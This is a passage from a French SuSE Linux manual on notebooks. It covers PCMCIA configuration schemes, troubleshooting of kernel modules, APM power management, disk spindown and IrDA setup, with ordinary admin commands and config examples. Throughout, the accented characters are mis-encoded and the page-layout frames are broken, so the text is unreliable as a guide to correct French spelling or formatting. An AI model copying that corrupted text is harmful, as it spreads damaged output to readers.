Le module adΘquat est chargΘ par le gestionnaire de pΘriphΘriques. DΦs
qu'une carte SCSI ou IDE est insΘrΘe, les pΘriphΘriques qui y sont raccor-
dΘs sont mis α disposition. Les noms de + pΘriphΘriques sont dΘterminΘs dy-
namiquement. Vous trouverez, sous /proc/scsi ou sous /proc/ide des
informations sur les pΘriphΘriques SCSI ou IDE prΘsents dans votre systΦme.
________________________________________________________________________________________________________*
*________||
| Les disques durs externes, les lecteurs de CD-ROM et autres pΘriphΘriques *
* ||||
| *
* |||
| doivent Ωtre activΘs avant que la carte PCMCIA ne soit insΘrΘe dans l'em- *
* |||
| *
* |||
| placement prΘvu pour l'enfichage. Les pΘriphΘriques SCSI requiΦrent des *
* |||
| terminaisons actives. *
* |||
| *
* |||
| Important : Avant qu'une carte SCSI ou IDE ne soit retirΘe, toutes les par- *
* |||
| titions des pΘriphΘriques qui y sont raccordΘs doivent avoir ΘtΘ dΘmontΘes. *
* |||
| *
* |||
| Si ceci a ΘtΘ omis, il ne sera possible d'accΘder de nouveau α ces pΘriphΘ- *
* |||
| riques qu'aprΦs un rΘamorτage du systΦme, bien que le reste du systΦme *
* |||
| *
* |||
| continue α tourner de faτon tout α fait stable. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
On peut aussi installer Linux intΘgralement sur de tels disques externes. Le
processus d'amorτage est cependant un peu plus compliquΘ. Il est en tout
cas nΘcessaire d'avoir une disquette d'amorτage qui contient le noyau et
un disque virtuel d'initialisation (initrd). Vous trouverez des informations
complΘmentaires α ce sujet au paragraphe 16.2 page 424. initrd contient
un systΦme de fichiers qui inclut tous les modules et programmes PCMCIA
nΘcessaires. La disquette d'amorτage SuSE Linux et les images de disquettes
d'amorτage sont construites de la mΩme maniΦre, ce qui signifie que vous
pouvez toujours les utiliser pour amorcer votre installation externe. Il est
cependant plut⌠t fastidieux de charger manuellement α chaque fois le sup-
port PCMCIA. Les utilisateurs expΘrimentΘs peuvent crΘer eux-mΩmes une
disquette d'amorτage taillΘe sur mesure pour leur systΦme1 .
11.1.4 Configurations pour changer d'environnement ~ ~ les ``schemes''
Sur un ordinateur mobile, on a souvent besoin de diffΘrentes configurations
pour pouvoir, par exemple, travailler au bureau et α la maison. Avec les pΘri-
phΘriques PCMCIA, ceci ne constitue pas un problΦme. Les fichiers de confi-
guration doivent cependant Ωtre adaptΘs α la main, YaST ne pouvant pas en-
core se charger de cette tΓche. La description qui va suivre ne s'applique pas
encore α ISDN ou aux modems2 .
_____________________________________________1
Vous trouverez des informations α ce sujet dans le PCMCIA-HOWTO au paragraphe 5.3
``Booting from a PCMCIA device''.
2 Avec ISDN, vous pouvez crΘer en remplacement plusieurs fichiers de pΘriphΘriques ISDN
avec les mΩmes adresses rΘseau et la mΩme route par dΘfaut. Ceux-ci ne seront pas dΘmarrΘs
320
____________________________________________________________________________________________________________11.1.__PCMCIA___*
*______________________
En relation avec PCMCIA, on appelle une configuration un ``schΘma''
(angl. scheme). Les fichiers de configuration pour pΘriphΘriques PCMCIA
situΘs sous /etc/pcmcia/*.opts peuvent contenir plusieurs schΘmas.
Les donnΘes d'un schΘma sont dΘposΘes dans des blocs de configuration
accessibles au moyen d'une ``adresse''. Les adresses sont des mots sΘpa-
rΘs par des virgules. Le premier mot est le nom d'un schΘma. Les mots
suivants contiennent des informations concernant par exemple l'emplace-
ment dans lequel la carte est enfichΘe ou le numΘro d'une partition de
disque dur. Vous trouverez plus de dΘtails α ce sujet au dΘbut des fichiers
/etc/pcmcia/*.opts ou dans le PCMCIA-HOWTO . Le schΘma standard
utilisΘ par SuSE Linux a pour nom SuSE . Ce schΘma SuSE est modifiΘ au
moyen de SuSEconfig lorsque la connexion rΘseau est configurΘe avec YaST .
Pour cette raison, les modifications effectuΘes manuellement dans ce schΘma
seront perdues dΦs que SuSEconfig sera de nouveau lancΘ.
Nous allons illustrer la configuration des schΘmas par l'exemple d'une carte
Ethernet. Deux schΘmas du nom de work et de home vont Ωtre crΘΘs. Pour
cela, on aura besoin de plusieurs blocs de configuration dans le fichier /etc/
pcmcia/network.opts (voir le fichier 11.1.1 page suivante). Ces blocs au-
ront les adresses suivantes :
~ SuSE,*,*,* : Ce bloc devrait Ωtre conservΘ si vous souhaitez continuer
α utiliser YaST pour une configuration simple.
~ work,*,*,* : Dans ce bloc, le rΘseau α utiliser au bureau est configurΘ.
Le prochain bloc est similaire et
~ home,*,*,* : contient les donnΘes α utiliser α la maison.
~ *,*,*,* : Ce bloc aussi est dΘjα prΘsent et sert α la configuration de tous
les schΘmas qui n'ont pas encore ΘtΘ mentionnΘs.
La maniΦre la plus simple de configurer un bloc est d'y insΘrer les donnΘes α
l'aide de YaST , de faire ensuite copier le bloc SuSE adaptΘ par SuSEconfig
et de le renommer pour qu'il devienne, selon le cas, work ou home . Si vous
voulez tout configurer α la main, vous trouverez l'explication de certains
termes tels que NETMASK , BROADCAST etc. dans le tableau 5.1 page 156 et
toutes les valeurs spΘcifiques dans le PCMCIA-HOWTO (la version actuelle se
trouve sous /usr/doc/packages/pcmcia).
Il est possible de basculer entre ces schΘmas lors de l'amorτage ou pen-
dant le fonctionnement du systΦme. Le schΘma actuellement actif est mon-
trΘ par la commande cardctl scheme . Cette commande permet aussi de
passer d'un schΘma α l'autre en cours de fonctionnement du systΦme, trΦs
exactement de la maniΦre suivante : cardctl scheme <Nom_du_schΘma> .
Cette configuration n'est pas perdue lors d'un nouveau dΘmarrage du sys-
tΦme. En d'autres termes, le schΘma choisi en dernier demeure encore actif
aprΦs le prochain amorτage et ceci aussi longtemps qu'il n'aura pas ΘtΘ ex-
plicitement sΘlectionnΘ un autre schΘma lors de l'amorτage. Il est possible
de sΘlectionner un schΘma au cours de l'amorτage en positionnant la variable
____________________________________________________
automatiquement mais manuellement. ~ Avec les modems, vous pouvez utiliser plusieurs profils
diffΘrents avec wvdial .
*
* 321
11. Notebooks ~ PCMCIA,_APM,_IrDA_________________________________________________________________________________________________*
*_______________________________________@
| *
* |
| *
* |
| *
* |
| *
* |
________________________________________________________________________________________________________*
*________||||
| # The address format is "scheme,socket,instance,hwaddr" . *
* |
| case "$ADDRESS" in *
* |
| SuSE,*,*,*) *
* |
| INFO="This scheme is to be configured by YaST/SuSEconfig" *
* |
| *
* |
| # [... gekⁿrzt ...] *
* |
| ;; *
* |
| work,*,*,*) *
* |
| INFO="Configuration rΘseau pour le bureau (work) par DHCP" *
* |
| *
* |
| IF_PORT="" *
* |
| BOOTP="n" *
* |
| DHCP="y" *
* |
| *
* |
| IPADDR="" *
* |
| NETMASK="" *
* |
| NETWORK="" *
* |
| BROADCAST="" *
* |
| *
* |
| GATEWAY="" *
* |
| DOMAIN="" *
* |
| SEARCH="" *
* |
| DNS_1="" *
* |
| *
* |
| MOUNTS="" *
* |
| start_fn () { return; } *
* |
| stop_fn () { return; } *
* |
| ;; *
* |
| *
* |
| home,*,*,*) *
* |
| INFO="Configuration pour la maison (home) avec adresse fixe" *
* |
| IF_PORT="" *
* |
| BOOTP="n" *
* |
| *
* |
| DHCP="n" *
* |
| IPADDR="10.0.1.23" *
* |
| NETMASK="255.255.255.0" *
* |
| NETWORK="10.0.1.0" *
* |
| *
* |
| BROADCAST="10.0.1.255" *
* |
| GATEWAY="10.0.1.1" *
* |
| DOMAIN="home.de" *
* |
| SEARCH="home.de work.de" *
* |
| *
* |
| DNS_1="10.0.1.1" *
* |
| MOUNTS="" *
* |
| start_fn () { return; } *
* |
| stop_fn () { return; } *
* |
| *
* |
| ;; *
* |
| *,*,*,*) *
* |
| INFO="Sample private network setup" *
* |
| *
* |
| # [... gekⁿrzt ...] *
* |
| ;; *
* |
| esac *
* |
|_______________________________________________________________________________________________________*
*________ |
fichier 11.1.1: /etc/pcmcia/network.opts
322
____________________________________________________________________________________________________________11.1.__PCMCIA___*
*______________________
|||||||| |
_______________________________________________________________________________________________________________________||
|||||||| image = /boot/vmlinuz |
|||||||| root = /dev/hda7 |
|||||||| |
|||||||| label = work |
|||||||| alias = w |
|||||||| append = xzx SCHEME=work xzx |
|||||||| # |
|||||||| |
|||||||| image = /boot/vmlinuz |
|||||||| root = /dev/hda7 |
|||||||| label = home |
|||||||| alias = h |
|||||||| |
|||||||| append = xzx SCHEME=home xzx |
|||||||| # |
|||||||| image = /boot/vmlinuz |
|||||||| root = /dev/hda7 |
|||||||| |
|||||||| label = suseconf |
|||||||| alias = s |
|||||||| append = xzx SCHEME=SuSE xzx |
||||||||_______________________________________________________________________________________________________________ |
fichier 11.1.2: PCMCIA : Extrait de lilo.conf
SCHEME=<Nom_du_schΘma> α l'invite (LILO : ). Vous trouverez des infor-
mations sur l'invite d'amorτage au paragraphe 14.3.2 page 370.
Si vous dΘsirez crΘer un ou plusieurs schΘmas d'amorτage constants, vous
pouvez configurer LILO de maniΦre adΘquate. Vous devez pour cela uti-
liser dans le fichier /etc/lilo.conf le paramΦtre append . Nous conti-
nuons avec notre exemple et nous crΘons trois configurations de dΘmarrage.
Elles devraient Ωtre semblables α celles du fichier 11.1.2. AprΦs modifica-
tion de /etc/lilo.conf, la commande lilo doit Ωtre lancΘe. Comme dans
l'exemple de configuration prΘsentΘ dans le fichier 11.1.2, vous pouvez dΘ-
marrer de faτon trΦs simple l'un des schΘma, en entrant w, h ou s au moment
de l'amorτage
Support APM
Le paquetage PCMCIA de SuSE Linux est compilΘ sans support APM car il
requiert un noyau avec support APM qui ne fonctionne pas de faτon fiable
sur tous les systΦmes. Il vous faudra donc utiliser α la place apmd (voir
paragraphe 11.2.3 page 328) pour simuler le support APM, ou recompiler le
paquetage PCMCIA. Ce n'est pas tellement difficile. Il importe que pendant la
recompilation le noyau adΘquat tourne dΘjα car on extrait de celui-ci certaines
informations. Le paquetage PCMCIA devrait dΘjα Ωtre installΘ mais ne doit
pas encore Ωtre dΘmarrΘ. En cas de doute, exΘcutez rcpcmcia stop . Installez
ensuite le paquetage source PCMCIA avec YaST et tapez :
terre: # rpm -ba /usr/src/packages/SPECS/pcmcia.spec
Voilα qui est fait. Maintenant il existe mΩme sous /usr/src/packages/
RPMS un nouveau paquetage binaire que l'on peut utiliser pour d'autres sys-
tΦmes si le mΩme noyau est installΘ.
11.1.5 Si cela ne fonctionne quand mΩme pas
Il survient parfois des problΦmes si l'on utilise PCMCIA sur certains note-
books ou avec certaines cartes. La plupart des difficultΘs peuvent Ωtre contour-
*
* 323
11. Notebooks ~ PCMCIA,_APM,_IrDA_________________________________________________________________________________________________*
*_______________________________________@
nΘes sans trop de peine α condition de procΘder de faτon systΘmatique. Il
convient tout d'abord de dΘterminer s'il s'agit d'un problΦme liΘ α une carte
ou d'un problΦme du systΦme de base PCMCIA. On devrait donc absolu-
ment dΘmarrer la machine sans cartes insΘrΘes. Ce n'est que lorsque le sys-
tΦme de base fonctionnera apparement sans problΦme que la carte sera in-
sΘrΘe. Tous les messages pouvant fournir des indices seront enregistrΘs dans
/var/log/messages. C'est pourquoi il serait bon de visualiser ce fichier
avec
terre: # tail -f /var/log/messages
pendant le dΘroulement des tests nΘcessaires. L'erreur peut ainsi Ωtre limitΘe
α l'un des deux cas suivants.
Le systΦme de base PCMCIA ne fonctionne pas
Si le systΦme se bloque lors de l'amorτage dΦs l'apparition du message "PCM-
CIA : Starting services :÷ u s'il se passe d'autres choses Θtranges,
il est possible d'empΩcher le dΘmarrage de PCMCIA lors du prochain
amorτage en spΘcifiant NOPCMCIA=yes α l'invite d'amorτage (LILO : ).
Afin de limiter un peu plus l'erreur, on charge les trois modules de base
α la main les uns aprΦs les autres. Pour cela, on utilise les commandes
modprobe pcmcia_core , modprobe i82365 ou ~ dans de trΦs rares cas ~
modprobe tcic et modprobe ds . Ce sont les deux premiers modules qui
sont critiques.
S'il survient une erreur lors du chargement de pcmcia_core, vous pouvez
trouver une aide dans la page de man de pcmcia_core (man pcmcia_core ).
Les options qui y sont dΘcrites peuvent Ωtre testΘes en combinaison avec
la commande modprobe . Comme exemple, prenons un problΦme qui a dΘjα
ΘtΘ causΘ dans le passΘ par le support PnP activΘ : PnP a provoquΘ, lors du
chargement de pcmcia_core, un blocage immΘdiat du systΦme. Dans ce cas,
il a fallu dΘsactiver le support PnP avec l'option do_pnp=0 . Pour effectuer
un test, on ajouter une telle option module α la commande modprobe , ce qui
donne :
terre: # modprobe pcmcia_core do_pnp=0
Si l'option choisie donne un bon rΘsultat, elle est insΘrΘe dans la variable
PCMCIA_CORE_OPTS du fichier /etc/rc.config :
PCMCIA_CORE_OPTS="do_pnp=0"
Cette variable contient dΘjα l'option do_pnp=0 . Si vous avez besoin d'un sup-
port PnP, vous devez donc positionner l'option α 1 . Dans le cas o∙ plusieurs
options sont utilisΘes, elles doivent Ωtre sΘparΘes par des espaces :
PCMCIA_CORE_OPTS="do_pnp=0 probe_io=0"
S'il se produit des erreurs lors du chargement de i82365 , vous pouvez avoir
recours α la page de man de i82365 (man i82365 ) qui vous apportera une
aide. Un problΦme que l'on peut rencontrer dans ce contexte est un conflit
de ressources. Une interruption, un port d'E/S ou une zone de mΘmoire est
utilisΘ deux fois. Le module i82365 contr⌠le ces ressources avant qu'elles
ne soient mise α disposition pour une carte, mais il arrive parfois que ce soit
prΘcisΘment ce contr⌠le qui engendre des problΦmes. Pour citer un exemple,
324
____________________________________________________________________________________________________________11.1.__PCMCIA___*
*______________________
le contr⌠le de l'interruption 12 (pΘriphΘriques PS/2) provoque sur certaines
machines le blocage de la souris et/ou du clavier. On peut y remΘdier avec le
paramΦtre irq_list=<Liste_des_IRQ> . La liste doit contenir tous les IRQ
pouvant Ωtre utilisΘs. Par consΘquent :
terre: # modprobe i82365 irq_list=5,7,9,10
ou de faτon permanente dans /etc/rc.config :
PCMCIA_PCIC_OPTS="irq_list=5,7,9,10"
On dispose en outre de /etc/pcmcia/config et de /etc/pcmcia/
config.opts. Ces fichiers sont exploitΘs par le gestionnaire de pΘriphΘ-
riques (cardmgr ). Les configurations qui y ont ΘtΘ faites n'ont d'importance
que pour le chargement des modules pilotes pour les cartes PCMCIA. Dans
/etc/pcmcia/config.opts, il est Θgalement possible d'inclure ou d'ex-
clure des IRQ, des ports d'E/S et des zones de mΘmoire. La diffΘrence
avec l'option irq_list rΘside dans le fait que les ressources excluses dans
config.opts ne seront certes pas utilisΘes pour une carte PCMCIA mais
seront cependant contr⌠lΘes par le module de base i82365.
La carte PCMCIA ne fonctionne pas (correctement)
Il existe ici trois variantes : La carte n'est pas reconnue, elle utile des res-
sources non autorisΘes ou elle n'est pas fiable.
Si la carte n'est pas reconnue, il apparaεt, dans /var/log/messages, le mes-
sage "unsupported Card in Slot x". Ce message fait seulement savoir
que le gestionnaire de pΘriphΘriques (cardmgr ) ne peut pas assigner de pi-
lote α la carte. Pour procΘder α cette assignation, il a besoin du fichier /etc/
pcmcia/config. Ce fichier est en quelque sorte la ``base de donnΘes des pi-
lotes''. Il est possible d'Θtendre la ``base de donnΘes des pilotes'' en prenant
pour modΦle des entrΘes dΘjα existantes. Avec la commande cardctl ident ,
on peut dΘcouvrir de quelle maniΦre la carte est identifiΘe. Vous trouverez
des informations complΘmentaires dans le PCMCIA-HOWTO, paragraphe 6
(``Dealing with unsupported cards'') et particuliΦrement dans la page de man
de pcmcia (man pcmcia ). Le fichier /etc/pcmcia/config doit Ωtre re-
chargΘ aprΦs avoir modifiΘ. On se sert pour cela de rcpcmcia reload .
La plupart des cartes PCMCIA n'attachent pas d'importance α l'IRQ ou au
port d'E/S avec lequel elles sont utilisΘes. Cela signifie que trΦs souvent le
problΦme est d√ au fait qu'une ressource dΘjα utilisΘe est ensuite attribuΘe α
un autre pΘriphΘrique (CD-ROM connectΘ au 2Φme contr⌠leur IDE : IRQ 15 ;
port sΘrie ou port IrDA : IRQ 3, IRQ 4 ; son, imprimante IRQ 5, IRQ 7). Dans
ce cas, on exclut l'utilisation de ces ressources dans /etc/pcmcia/config.
opts. Si toutefois une carte dΘterminΘe requiert des paramΦtres spΘciaux, on
peut transmettre, dans config.opts, des options au module concernΘ. Si par
exemple le module pcnet_cs doit Ωtre utilisΘ avec l'IRQ 5, l'entrΘe suivante
sera alors nΘcessaire :
module "pcnet_cs" opts "irq_list=5"
Les options possibles sont dΘcrites dans les pages de manuel qui existent
pour la plupart des modules3 . S'il n'existe pas de page de manuel, diffΘrentes
3 ____________________________________________________
Astuce : rpm -ql pcmcia | grep man Θtablit une liste de toutes les pages de manuel conte-
nues dans le paquetage pcmcia.
*
* 325
11. Notebooks ~ PCMCIA,_APM,_IrDA_________________________________________________________________________________________________*
*_______________________________________@
options de la page de man de i82365 (man i82365 ) peuvent Ωtre envisagΘes,
α moins que l'on prΘfΦre se familiariser avec le code source du module : : :
Voici un problΦme que l'on rencontre parfois avec les cartes rΘseau de
10/100 Mbits : Le mode de transfert n'est pas reconnu automatiquement de
faτon correcte. On peut remΘdier α ce problΦme avec la commande ifport .
Elle affiche le mode de transfert configurΘ et permet de le modifier. Le
paramΦtre appropriΘ peut Ωtre insΘrΘ dans la variable IFPORT du fichier
/etc/pcmcia/network.opts.
11.1.6 Installation via PCMCIA
Dans certains cas, PCMCIA est dΘjα nΘcessaire pour l'installation de SuSE
Linux. Pour pouvoir en disposer, vous devez sΘlectionner, dans linuxrc , sous
`Modules du noyau (pilote matΘriel)', l'option `Chargement des
modules PCMCIA'. Il apparaεt tout d'abord deux champs d'entrΘe dans les-
quels vous pouvez spΘcifier des options pour les modules pcmcia_core et
i82365. Mais normalement ces champs restent vides. Les pages de manuel
pour pcmcia_core et i82365 se trouvent, sous forme de fichiers texte sur le
premier CD dans le rΘpertoire docu. Au cours de l'installation, des messages
du systΦme sont affichΘs_sur diffΘrentes_consoles virtuelles entre lesquelles on
peut basculer avec |A____l|t+ |F_______<|x>.4
Lorsque la premiΦre partie de l'installation est achevΘe, le systΦme est redΘ-
marrΘ, soit partiellement soit intΘgralement. Dans quelques rares cas, il peut
arriver que le systΦme se plante au dΘmarrage de PCMCIA. └ ce moment,
l'installation est toutefois suffisamment avancΘe pour qu'il soit possible, avec
l'option NOPCMCIA=yes , de lancer Linux sans PCMCIA, du moins en mode
texte. Le paragraphe 11.1.5 page 323 apporte ici une aide.
11.1.7 Autres programmes utilitaires
Le programme cardctl a dΘjα ΘtΘ ΘvoquΘ ici plusieurs fois. cardctl est un outil
fondamental qui permet d'obtenir des informations de PCMCIA ou d'exΘ-
cuter certaines actions. Vous trouverez des dΘtails dans la page de man de
cardctl (man cardctl ). Mais vous pouvez aussi entrer tout simplement
cardctl afin d'obtenir une liste des commandes valides.
Il existe aussi pour ce programme un frontal graphique cardinfo (voir la
figure 11.1 page suivante) avec lequel on peut contr⌠ler les choses les plus
importantes. Mais il ne permet malheureusement pas de basculer entre les
``schΘmas''.
Il existe aussi un kardinfo pour les amis de KDE. Cet outil n'est pas trΦs
diffΘrent de cardinfo , c'est seulement la version ``K''.
D'autres utilitaires contenus dans le paquetage pcmcia sont ifport , ifuser ,
probe et rcpcmcia . Ils ne sont cependant pas nΘcessaires pour le travail
quotidien. Pour voir tout ce que contient le paquetage pcmcia, utilisez la
commande rpm -ql pcmcia .
_____________________________________________
4 Dans YaST2 , on doit utiliser |C______|_trl+ |A_____|lt+ |F________|<x>car YaST2 tourne sous le syst*
*Φme
X Window.
326
___________________________________________________________________________________11.2.__APM_~_Gestion_d'Θnergie___________*
*______________________
Fig. 11.1: PCMCIA ~ Cardinfo
11.2 APM ~ Gestion d'Θnergie
11.2.1 Principes de base
La gestion de l'Θnergie requiert un matΘriel prΘvu pour cet usage et des rou-
tines de BIOS adΘquates. La plupart des notebooks et de nombreux ordina-
teurs de bureau modernes remplissent ces conditions ~ diffΘrentes fonctions
d'Θconomie d'Θnergie n'entrent cependant en jeu qu'en cas d'utilisation mo-
bile de l'ordinateur. Nous allons maintenant dΘcrire ces fonctions :
Standby ~ Dans ce mode, seul l'affichage est dΘsactivΘ et, sur certaines ma-
chines, la performance du processeur est rΘduite.
Suspend (to memory) ~ L'Θtat complet du systΦme est enregistrΘ dans la
mΘmoire de travail et l'ensemble du systΦme est mis au repos. Dans cet
Θtat, l'ordinateur n'a besoin que de trΦs peu d'Θnergie et la batterie peut
couvrir, selon la machine, une pΘriode allant de 12 heures α plusieurs
jours. L'avantage de ce mode est qu'il est possible, en quelques secondes,
de reprendre le travail au mΩme endroit sans avoir α rΘamorcer ni α re-
charger les programmes nΘcessaires. ~ C'est ici que la mise en oeuvre de
Linux se rΘvΦle attrayante car il n'est en fait jamais nΘcessaire d'arrΩter
le systΦme (certains systΦmes d'exploitation deviennent instables avec le
temps). Avec la plupart des machines modernes, il suffit de fermer le cou-
vert pour suspendre le systΦme et de l'ouvrir de nouveau pour pouvoir
continuer immΘdiatement.
Hibernation (Suspend to disk) ~ Dans ce mode, l'ordinateur peut subsister
jusqu'α la saison nouvelle :-) Avant que le systΦme ne soit dΘsactivΘ, son
Θtat est en effet entiΦrement enregistrΘ sur le disque dur. La sortie d'hiber-
nation dure de 30 α 90 secondes et ici aussi on retrouve le systΦme tel
qu'il Θtait avant la suspension. Quelques constructeurs offrent des formes
mixtes intΘressantes.
Contr⌠le de l'Θtat des accumulateurs ~ IntΘressant.
ArrΩt automatique ~ IntΘressant aussi pour ordinateurs de bureau. AprΦs un
``shutdown'', la machine est complΦtement arrΩtΘe.
*
* 327
11. Notebooks ~ PCMCIA,_APM,_IrDA_________________________________________________________________________________________________*
*_______________________________________@
DΘsactivation du disque dur ~ ╔pargne pas mal d'Θnergie et mΘnage les
nerfs lorsque le disque dur est bruyant. Cette fonction est toutefois dΘ-
pendante d'autres facteurs et un Θditeur qui effectue rΘguliΦrement des
sauvegardes automatiques rΘveille continuellement le disque.
Le BIOS exΘcute seul quelques unes des ces fonctions. Standby et Suspend
peuvent Ωtre activΘs sur un grand nombre de notebooks par des combinai-
sons de touches ou par la fermeture du couvercle. Pour cela, aucune fonc-
tion n'est requise du systΦme d'exploitation. Mais si vous voulez activer ces
modes par commande ou s'il est indispensable que certaines actions soient
exΘcutΘes avant la suspension, vous devez installer les paquetages appropriΘs
ainsi qu'un noyau adΘquat.
11.2.2 Le noyau adΘquat
Pour une fonctionnalitΘ APM Θtendue, il vous faut un noyau contenant un sup-
port APM. L'un des noyaux standards SuSE , qui peuvent Ωtre installΘs avec
YaST , remplit cette condition. Il est trΦs facile de le vΘrifier avec la commande
cat /proc/apm . S'il apparaεt ici une ligne avec des nombres divers, tout est
pour le mieux. Vous devriez maintenant utiliser shutdown -h pour arrΩter
votre machine. Certaines implΘmentations de BIOS n'Θtant pas exactement
conformes aux standards, on remarque parfois des comportements Θtranges.
Il est possible de contourner certains problΦmes par des configurations spΘ-
ciales du noyau. Vous trouverez des informations α ce sujet dans notre base de
donnΘes support http://sdb.suse.de/sdb/fr/html/ ou dans la ``Linux
Laptop Homepage'' sous http://www.cs.utexas.edu/users/kharker/
linux-laptop.
11.2.3 Le dΘmon APM
Le + dΘmon apmd est utilisΘ pour la surveillance de la batterie et peut dΘclen-
cher certaines actions lorsqu'il se produit un ``standby'' ou un ``suspend''. Vous
le trouverez dans le paquetage apmd, sΘrie ap. Il n'est pas absolument indis-
pensable pour le fonctionnement du systΦme mais il peut s'avΘrer trΦs utile.
Pour qu'il puisse Ωtre lancΘ automatiquement lors de l'amorτage, la variable
START_APMD doit Ωtre positionnΘe α yes dans le fichier /etc/rc.config.
Mais il peut toujours aussi Ωtre lancΘ manuellement avec rcapmd start .
Pour la configuration, il existe quelques variables dans /etc/rc.config.d/
apmd.rc.config. Ce fichier contient des commentaires, c'est pourquoi nous
ne donnerons ici que quelques informations.
~ Dans SuSE Linux, PCMCIA est compilΘ sans support APM. Ceux qui
n'ont pas envie de recompiler le paquetage PCMCIA peuvent positionner
la variable PCMCIA_SUSPEND_ON_SUSPEND α yes . Certaines cartes ne
fonctionnent pas aprΦs une suspension. Dans ce cas, on a recours α la
mΘthode forte PCMCIA_EJECT_ON_SUSPEND=yes .
~ Si aprΦs une suspension l'heure n'est plus exacte, on positionne la variable
SET_CLOCK_ON_RESUME α yes .
~ Si le systΦme X Window pose des problΦmes α l'Θveil du systΦme, on peut
y remΘdier avec LEAVE_X_BEFORE_SUSPEND=yes .
328
___________________________________________________________________________________11.2.__APM_~_Gestion_d'Θnergie___________*
*______________________
Le comportement d'arrΩt du disque dur (``spindown'') peut en outre Ωtre
adaptΘ au fonctionnement sur batterie ou sur secteur et le systΦme peut Ωtre
arrΩtΘ automatiquement dΦs que le niveau de charge de la batterie commence
α devenir critique. Les utilisateurs expΘrimentΘs peuvent insΘrer eux-mΩmes
d'autres fonctions dans le fichier /usr/sbin/apmd_proxy.
11.2.4 Autres commandes
Le paquetage apmd contient encore quelques programmes utiles. Avec apm ,
vous pouvez vous informer sur la charge actuelle de la batterie et mettre le
systΦme en mode Standby (apm -S ) ou Suspend (apm -s ). Voir la page de
man de apm (man apm ).
La commande apmsleep suspend le systΦme pour un temps dΘterminΘ. Voir
la page de man de apmsleep (man apmsleep ).
Si vous voulez voir un fichier de trace (log) sans que votre disque dur soit
continuellement en fonctionnement, vous pouvez utiliser tailf α la place de
tail -f
Il existe bien s√r aussi des outils pour le systΦme X Window. Dans le paque-
tage apmd, on trouve Θgalement xapm qui affiche en mode graphique le niveau
de charge de la batterie. Ceux qui utilisent le bureau KDE ~ ou au moins kpa-
nel ~ peuvent aussi, avec kbatmon , obtenir l'affichage du niveau de charge
de l'accumulateur et suspendre son systΦme.
11.2.5 Une pause pour le disque dur
Il est possible, sous Linux, de dΘsactiver le disque dur si l'on n'a plus be-
soin de ses services. On utilise α cette fin le programme hdparm avec lequel
on peut rΘgler diffΘrents paramΦtres des disques durs. Avec l'option -y , le
disque est mis immΘdiatement en mode Standby, avec -Y , il est complΦte-
ment dΘsactivΘ. Avec hdparm -S 6 , on obtient un arrΩt du disque aprΦs une
pΘriode d'inactivitΘ de 30 secondes. Le chiffre 6 reprΘsente ici 6 5 = 30 se-
condes, la valeur 0 dΘsactive cette fonction. Si les valeurs sont plus ΘlevΘes,
le multiplicateur est aussi plus grand. Vous trouverez des prΘcisions α ce sujet
dans la page de manuel.
Si vous voulez que ce comportement Standby soit adaptΘ α un fonctionnement
sur batterie ou sur secteur, vous pouvez faire les configurations nΘcessaires
dans /etc/rc.config.d/apmd.rc.config. La variable CHECK_TIME de-
vrait alors Ωtre positionnΘe α 0 .
Mais on a malheureusement souvent besoin du disque et il est ainsi constam-
ment rΘveillΘ. Les responsables sont parfois des programmes (par exemple
Θditeurs de texte) qui sauvegardent rΘguliΦrement leurs donnΘes sur le disque
dur. Certaines commandes, telles que tail -f <logfile> maintiennent
aussi le disque en fonctionnement mais on peut remplacer cette commande
par tailf <logfile> . MΩme en l'absence de tels programmes, le disque
ne reste pas toujours au repos car il existe un processus qui le dΘrange rΘgu-
liΦrement dans son juste sommeil. Il faut en effet savoir que sous Linux les
donnΘes ne sont jamais Θcrites directement sur le disque mais tout d'abord
dans des tampons que le noyau tient α disposition et qui permettent d'accΘlΘ-
rer les opΘrations d'Θcriture. Pour Θviter toute perte de donnΘes, un dΘmon de
*
* 329
11. Notebooks ~ PCMCIA,_APM,_IrDA_________________________________________________________________________________________________*
*_______________________________________@
mise α jour s'occupe, α des intervalles de temps prΘdΘfinis, d'assurer la syn-
chronisation du disque et des tampons en Θcrivant les donnΘes sur le disque.
Depuis la version 2.2.11, ce dΘmon fait partie intΘgrante du noyau et ne peut
plus par consΘquent Ωtre dΘsactivΘ comme auparavant ni Ωtre remplacΘ par le
``dΘmon de mise α jour mobile''. On peut malgrΘ influer sur son comportement
par le biais du systΦme de fichiers /proc. La commande
terre: # cat /proc/sys/vm/bdflush
affiche les paramΦtres actuels et avec
terre: # echo "60 500 64 256 6000 60000 3000 1884 2" \
> /proc/sys/vm/bdflush
de nouveau paramΦtres sont dΘfinis. Si vous souhaitez effectuer ces modifi-
cations, vous devriez rechercher dans /usr/src/linux/Documentation/
proc.txt la signification des diffΘrents nombres. Avec sync , vous pouvez
synchroniser le disque dur α la main.
11.3 IrDA ~ Infrared Data Association
IrDA (Infrared Data Association) est un standard industriel pour commu-
nication sans cΓble au moyen de lumiΦre infrarouge. De nombreux laptops
sont aujourd'hui dotΘs d'un rΘcepteur/Θmetteur compatible IrDA qui permet
la communication avec d'autres pΘriphΘriques tels qu'imprimantes, modems,
LAN ou d'autres laptops. Le taux de transmission varie de 2400 bps α 4 Mbps.
________________________________________________________________________________________________________*
*________||
| Le support pour ce protocole dans le noyau Linux est encore en cours de *
* ||||
| dΘveloppement. Cette fonctionnalitΘ considΘrΘe comme ``expΘrimentale'' *
* |||
| *
* |||
| (stade bΩta) n'est donc pas intΘgrΘe dans les noyaux standards. Cela signifie *
* |||
| que ce ``tout jeune'' pilote n'a pas ΘtΘ testΘ α fond et peut se rΘvΘler moins *
* |||
| *
* |||
| stable que d'autres composants du noyau. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
Logiciels
Le paquetage irda offre un support pour l'interface infrarouge et le protocole
IrDA. AprΦs installation du paquetage, vous trouverez la documentation sous
/usr/doc/packages/irda/README.
Le IR-HOWTO est installΘ α partir du paquetage howto. Vous le trouverez aprΦs
l'installation sous /usr/doc/howto/en/IR-HOWTO.gz. Des informations
complΘmentaires sur le projet IrDA Linux vous sont fournies sous http:
//www.cs.uit.no/linux-irda.
Configuration
Lors de l'installation, ce paquetage insΦre les variables START_IRDA ,
IRDA_PORT et IRDA_IRQ dans le fichier /etc/rc.config. Par dΘfaut,
IrDA est dΘsactivΘ, mais avec la commande
terre: # rcirda start
vous pouvez α tout moment activer manuellement l'interface ou la dΘsactiver
(avec le paramΦtre stop ). Lorsque l'interface est activΘe, les modules du
noyau nΘcessaires sont automatiquement chargΘs.
330
